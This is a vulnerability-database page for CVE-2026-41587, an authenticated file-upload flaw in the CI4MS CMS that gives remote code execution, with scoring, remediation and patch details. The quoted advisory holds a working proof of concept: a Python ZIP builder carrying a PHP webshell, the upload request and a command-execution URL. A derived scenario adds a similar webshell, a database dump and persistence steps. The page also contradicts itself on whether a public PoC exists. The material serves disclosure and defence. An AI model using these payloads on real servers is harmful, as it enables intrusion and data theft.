Skip to main content

CI4MS CVE-2026-41587

| EUVDEUVD-2026-28260 HIGH
Unrestricted Upload of File with Dangerous Type (CWE-434)
2026-04-29 https://github.com/ci4-cms-erp/ci4ms GHSA-fw49-9xq4-gmx6
8.6
CVSS 4.0 · Vendor: https://github.com/ci4-cms-erp/ci4ms
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Authenticate to backend with theme upload permission
  2. Delivery
    Craft malicious ZIP containing PHP webshell in public/templates/ path
  3. Exploit
    Upload ZIP via /backend/themes/upload POST
  4. Install
    Application extracts and writes PHP to public/ without filtering
  5. C2
    Request webshell URL via HTTP GET
  6. Execute
    Execute arbitrary OS commands as www-data
  7. Impact
    Dump database, establish persistence, pivot to internal network

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A06:2025 - Insecure Design
ASVS 5.0
V5 - File Handling File type validation, storage isolation
MITRE ATT&CK

2 techniques across 2 tactics: Command and Control, Persistence

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Requires a valid backend user account with theme upload permission explicitly granted via the CI4MS role/permission system (e.g., access to the /backend/themes/upload endpoint). Superadmin accounts inherently have this permission, but the real risk arises when the permission is delegated to lower-privileged roles such as site administrators, designers, or content managers-common in multi-user CMS deployments. No special server configuration, non-default settings, or enabled features are required beyond a standard CI4MS installation running on a web server with PHP execution enabled in the public/ directory (default for CodeIgniter 4). The CVSS vector AV:N/AC:L/PR:H/UI:N confirms network-accessible exploitation with low complexity, requiring only high-privilege authentication (backend login) and no user interaction. Limiting factors: the attacker must first obtain or compromise a backend account with theme upload rights, which may require phishing, credential stuffing, or exploiting a separate authentication vulnerability. In deployments where theme upload is restricted to superadmin only (non-default but security-conscious configuration), the attack surface is reduced to scenarios where the superadmin account itself is compromised. The vulnerability does not affect public-facing (unauthenticated) users and cannot be exploited by frontend website visitors. All versions from 0.26.0.0 through 0.31.6.0 are exploitable under these conditions; earlier versions are not confirmed affected.

Impact

CVSS 4.0 score of 8.6 (High) with vector AV:N/AC:L/PR:H/UI:N indicates network-accessible exploitation requiring high privileges (backend authenticated user with theme upload permission) but low attack complexity and no user interaction. While the PR:H requirement limits the initial attack surface compared to unauthenticated RCE, the real-world risk is substantial because: (1) publicly available exploit code exists in the GitHub advisory with a complete working proof-of-concept, lowering the skill barrier; (2) many CMS deployments grant theme upload rights to designers, content managers, or site administrators-roles not typically considered high-trust from a security perspective; (3) successful exploitation yields full web server process execution (VC:H/VI:H/VA:H), enabling data exfiltration, lateral movement, and persistence; (4) the vulnerability affects all installations between versions 0.26.0.0 and 0.31.6.0, a range spanning multiple releases. No EPSS score or CISA KEV listing is available at time of analysis, suggesting no confirmed widespread or automated exploitation yet, but the combination of public POC, clear exploitation path, and broad version impact makes this a priority for affected deployments. The vendor patch (version 0.31.7.0, commit b969465e) implements defense-in-depth with pre-extraction ZIP validation and runtime extension allowlists, indicating the vendor recognizes the severity. Organizations using CI4MS should treat this as an urgent update, especially if theme upload permissions are delegated beyond superadmin accounts.

Exploit ScenarioDerived

A site administrator grants theme upload permission to a junior developer or contractor to install a new site design. The attacker, possessing valid backend credentials, creates a ZIP archive named company_theme.zip containing a single file at public/templates/company/cmd.php with contents <?php system($_GET['x']); ?>. They authenticate to the CI4MS backend at https://victim.com/backend, navigate to the theme upload page at /backend/themes/upload, and submit the ZIP via multipart/form-data POST. The application extracts the ZIP without validation and calls install_theme_from_tmp(), which uses rename() to write cmd.php into public/templates/company/ on disk. The attacker immediately requests https://victim.com/templates/company/cmd.php?x=whoami, receiving www-data in the response-confirming code execution. They escalate by uploading a full-featured webshell, dumping the database (containing customer PII), establishing persistence via cron, and pivoting to internal network resources accessible from the web server.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.4% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv2 – May 07, 2026

Authenticated users with theme upload permission in CI4MS (CodeIgniter 4 CMS/ERP) versions 0.26.0.0 through 0.31.6.0 can achieve remote code execution by uploading a malicious ZIP archive containing PHP files. The theme installation routine writes arbitrary files-including executable PHP-directly into the web-accessible public/templates/ directory without extension filtering or content validation, enabling direct HTTP access to webshells. A proof-of-concept exploit is publicly available via the GitHub security advisory (GHSA-fw49-9xq4-gmx6), and the vendor has released a patched version 0.31.7.0 implementing strict file extension allowlists for the public directory.

Earlier versions of this analysis (1)
v1 Apr 29, 2026 - 20:58

Remote code execution in CI4MS content management system versions 0.26.0.0 through 0.31.6.0 allows authenticated backend users with theme-upload permission to execute arbitrary PHP code by uploading a malicious ZIP file containing PHP scripts. The vulnerability stems from unrestricted file upload into the web-accessible public/ directory with no extension filtering or content validation. Vendor-released patch available in version 0.31.7.0. Complete proof-of-concept exploit published in GitHub advisory demonstrates trivial weaponization requiring only backend access. No active exploitation (CISA KEV) confirmed at time of analysis, but publicly available exploit code exists.

RemediationAI

Upgrade immediately to CI4MS version 0.31.7.0 or later, which implements comprehensive file upload filtering. The patch (commit b969465e71eacd9eb57014ad1fce1fc34fa7bca0 at https://github.com/ci4-cms-erp/ci4ms/commit/b969465e71eacd9eb57014ad1fce1fc34fa7bca0) adds three layers of defense: pre-extraction ZIP validation to reject archives containing PHP files destined for public/, a strict extension allowlist (css, js, images, fonts, media, pdf, xml, json, txt, md) enforced during file installation, and path traversal detection to block ../ sequences. If immediate patching is not feasible, implement these compensating controls: (1) Revoke theme upload permission from all non-superadmin roles via the CI4MS backend permission system, recognizing this breaks legitimate theme installation workflows for lower-privileged users. (2) Deploy a web application firewall rule to block POST requests to /backend/themes/upload from non-superadmin sessions, though this requires session inspection capability. (3) Configure the web server (Apache/Nginx) to deny execution of .php files under public/templates/ by adding a location block (Nginx: location ~* ^/templates/.*\.php$ { deny all; }) or directory directive (Apache: <Directory /path/to/public/templates> php_flag engine off </Directory>), noting this may break legitimate themes that incorrectly place executable PHP in public/-audit existing themes first. (4) Monitor file creation events in public/templates/ and app/Controllers/templates/ using inotify or auditd, alerting on any .php writes. These mitigations carry operational overhead and do not address the root cause; upgrading to 0.31.7.0 is the only complete fix. Vendor advisory: https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-fw49-9xq4-gmx6.

Affected VersionsENISA

ci4ms 0.26.0.0, < 0.31.7.0

Affected Packages

composer ci4-cms-erp/ci4ms fix: 0.31.7.0
euvd ci4ms_0_26_0_0 fix: 0.31.7.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in composer, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

CI4MS is a CodeIgniter 4-based content management and ERP framework (composer package ci4-cms-erp/ci4ms). The vulnerability stems from CWE-434 (Unrestricted Upload of File with Dangerous Type) in the theme upload feature implemented in modules/Theme/Controllers/Theme.php and modules/Theme/Helpers/themes_helper.php. When a user uploads a ZIP file via POST /backend/themes/upload, the application extracts it to a temporary directory and calls install_theme_from_tmp(), which uses PHP rename() to copy all files matching *.* from the archive into public/templates/<theme_name>/ on disk. Because public/ is the web root in CodeIgniter 4 deployments, any .php file written there becomes directly executable over HTTP. The flaw occurs at two critical points: (1) no MIME type or file extension validation before extraction (Theme.php:51-52), and (2) no allowlist enforcement during recursive file moves (themes_helper.php:60-68). The theme name is derived from the ZIP filename using str_replace('_theme.zip', ''), so evil_theme.zip installs to public/templates/evil/. PHP files are also written to app/Controllers/templates/, app/Libraries/templates/, and other subdirectories, expanding the attack surface. The vulnerability exists in the default theme installation workflow and requires no special server configuration beyond standard PHP/CodeIgniter setup.

Know when PHP gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/ci4-cms-erp/ci4ms) PRIMARY 8.6 HIGH
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (https://github.com/ci4-cms-erp/ci4ms) · only source for this CVE.

CVSS VectorVendor: https://github.com/ci4-cms-erp/ci4ms

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
High
User Interaction
None
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

4
Analysis Updated
May 07, 2026 - 04:46 vuln.today
v2 - CVSS changed
CVSS changed
May 07, 2026 - 04:35 NVD
8.6 (HIGH)
Patch released
Apr 29, 2026 - 20:45 nvd
Patch available
CVE Published
Apr 29, 2026 - 20:42 nvd
HIGH

DescriptionCVE.org

Summary

A theme upload feature allows any authenticated backend user with theme-upload permission to achieve remote code execution (RCE) by uploading a crafted ZIP file. PHP files inside the ZIP are installed into the web-accessible public/ directory with no extension or content filtering, making them directly executable via HTTP.

Details

File: modules/Theme/Controllers/Theme.php

After a ZIP is uploaded and extracted to a temporary directory, install_theme_from_tmp() is called unconditionally: Theme.php:51-52

File: modules/Theme/Helpers/themes_helper.php

The helper copies every file matching *.* from public/templates/<name>/ inside the ZIP directly into public/templates/<name>/ on disk using rename(), with no file-extension allowlist, no MIME check, and no content inspection: themes_helper.php:60-68

Because the web root is public/, any .php file placed there is directly reachable over HTTP.

PHP files are also installed - without filtering - into app/Controllers/templates/<name>/, app/Libraries/templates/<name>/, and other app/ subdirectories: themes_helper.php:31-42

The theme name is derived from the uploaded filename via str_replace('_theme.zip', '', $file->getName()), so uploading evil_theme.zip sets the theme name to evil and the install target to public/templates/evil/: Theme.php:20

PoC

Prerequisites: A backend account with theme upload permission (e.g., backend/themes/upload).

Step 1 - Build the malicious ZIP:

import zipfile, io

buf = io.BytesIO()
with zipfile.ZipFile(buf, 'w') as z:
    z.writestr('public/templates/evil/shell.php', '<?php system($_GET["c"]); ?>')
buf.seek(0)
with open('evil_theme.zip', 'wb') as f:
    f.write(buf.read())

Step 2 - Upload:

POST /backend/themes/upload
Content-Type: multipart/form-data

field name: theme
file:       evil_theme.zip

Step 3 - Execute:

GET https://target.com/templates/evil/shell.php?c=id

Expected response: output of id (e.g., uid=33(www-data) gid=33(www-data) groups=33(www-data)).

Impact

Type: Authenticated Remote Code Execution (RCE) via arbitrary file write to the web root.

Who is impacted: Any deployment where a backend user has been granted theme upload permission. A superadmin already has full access, but any lower-privileged role granted this permission can use it to write and execute arbitrary PHP on the server, gaining OS-level command execution under the web server process. This can be used for data exfiltration, lateral movement, persistence, or full server compromise.

Executive ViewAI

Why It Matters

CI4MS (CodeIgniter 4 CMS/ERP) versions 0.26.0.0 through 0.31.6.0 contain a critical authenticated remote code execution vulnerability in the theme upload functionality that allows users with theme permissions to deploy webshells directly into the web-accessible directory. Organizations running affected versions face imminent risk of full application compromise and lateral movement into backend systems, particularly since exploit code is publicly documented.

Business Impact: High
Compensating Controls

Apply vendor patch version 0.31.7.0. Until patching is complete, restrict theme upload functionality at the application level to administrators only, implement file upload validation at the web server layer (deny .php, .phtml, .php3+ extensions in public/templates/), and monitor the public/templates/ directory for unexpected PHP files using file integrity monitoring.

Threat Intelligence Overview

EPSS Score
0.4%
Top 41% exploitable
Threat Intel
1
1 source
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.4%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
No
Human Impact
High

Priority Score

43
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +43
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Malicious file upload attacks exploit insufficient validation when web applications accept user-provided files.

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

More in PHP

View all
CVE-2019-11043 CRITICAL POC
9.8 Oct 28

In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it

CVE-2012-1823 CRITICAL POC
9.8 May 11

sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not

CVE-2016-1555 CRITICAL POC
9.8 Apr 21

(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear

CVE-2018-11138 CRITICAL POC
9.8 May 31

The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by

CVE-2024-11680 CRITICAL POC
9.8 Nov 26

ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C

CVE-2025-49113 CRITICAL POC
9.9 Jun 02

Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au

CVE-2017-9841 CRITICAL POC
9.8 Jun 27

Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c

CVE-2025-0108 HIGH POC
8.8 Feb 12

Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers

CVE-2021-25298 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2021-25296 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2013-4983 CRITICAL POC
10.0 Sep 10

The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows

CVE-2023-6553 CRITICAL POC
9.8 Dec 15

The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy